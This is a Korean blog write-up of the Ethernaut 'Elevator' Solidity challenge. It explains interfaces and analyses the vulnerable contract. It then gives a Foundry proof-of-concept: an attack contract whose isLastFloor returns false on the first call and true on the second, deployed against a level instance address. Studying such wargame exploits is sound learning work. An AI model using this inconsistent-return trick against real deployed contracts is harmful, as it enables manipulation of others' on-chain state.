The Ethernaut : Elevator

세인·2025년 12월 6일

인터페이스

“이 컨트랙트에는 이런 함수들이 있고, 이렇게 호출할 수 있다”
함수 이름 + 파라미터 + 리턴값 만 적어놓은 약속

특징

  • 함수 선언만 있고 { ... } 안에 코드(구현)가 없음
  • 상태 변수(저장공간)에 값 저장하는 거 못 씀 (예전 기준: 상수 정도만)
  • 생성자, fallback, receive 같은 것도 못 씀
  • 상속받아서 구현하는 쪽 컨트랙트가 실제 로직을 채워 넣어야 함

인터페이스가 있으면 이미 배포된 다른 컨트랙트랑 상호작용할 때

그 컨트랙트의 전체 코드를 몰라도, “겉으로 보이는 함수 목록(ABI)”만 알면 됨.

덕분에

  • 코드 의존성을 줄이고, 테스트용 가짜 컨트랙트(mock)도 쉽게 만들 수 있고,
  • 여러 구현체를 갈아끼우기 편함 (같은 인터페이스만 맞춰주면 됨)

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

문제 코드 분석

  1. Building building = Building(msg.sender);
    • goTo를 호출한 주소를 Building 인터페이스로 본다.
    • 따라서 goTo를 정상적으로 통과하려면, 호출자(msg.sender)가 isLastFloor(uint256)를 구현한 컨트랙트여야 한다.
  2. if (!building.isLastFloor(_floor)) { ... }
    • 첫 번째 호출:
      • _floor가 마지막 층이 아니라면(false라면) 안으로 진입.
      • 마지막 층이면(true) 아무 것도 안 하고 종료.
  3. floor = _floor;
    • 첫 호출에서 false가 나와 if 안으로 들어온 경우, Elevator.floor_floor로 설정.
  4. top = building.isLastFloor(floor);
    • 두 번째 호출:
      • 같은 주소(msg.sender), 같은 층(floor == _floor)에 대해 다시 isLastFloor를 호출하고, 반환값을 top에 기록.


문제 풀이 로직 정리

필수 조건 2개:

  1. goTo를 호출하는 주체가 Building 인터페이스를 구현해야 한다.
    • 그래야 msg.senderBuilding으로 캐스팅한 뒤 isLastFloor 호출이 성공.
  2. isLastFloor같은 _floor에 대해 두 번 호출될 때, 결과를 다르게 반환해야 한다.
    • 1번째 호출: false → if문 진입
    • 2번째 호출: truetop = true

그래서 공격 컨트랙트는:

  • Building 인터페이스와 동일한 시그니처의 isLastFloor 함수를 구현하고,
  • 내부 상태 변수(floor)를 이용해
    • 첫 호출에는 false
    • 두 번째 호출에는 true를 반환하도록 만들면 된다.

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {Elevator} from "../src/Elevator.sol";

contract Attack {
    Elevator public elevator;
    uint256 public lastfloor;

    constructor(address _target) {
        elevator = Elevator(_target);
    }

    function isLastFloor(uint256 floor) external returns (bool){
        if(floor == lastfloor){
            return true;
        } else {
            lastfloor = floor;
            return false;
        }
    }

    function attack(uint256 floor) external {
    elevator.goTo(floor); 
    }
}

contract PoC is Script {
    address public target = 0xA1bA2A61091DA1a444356bB9bCF9B6A18D24bA3E;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);

        Attack attack = new Attack(target);
        attack.attack(2);

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글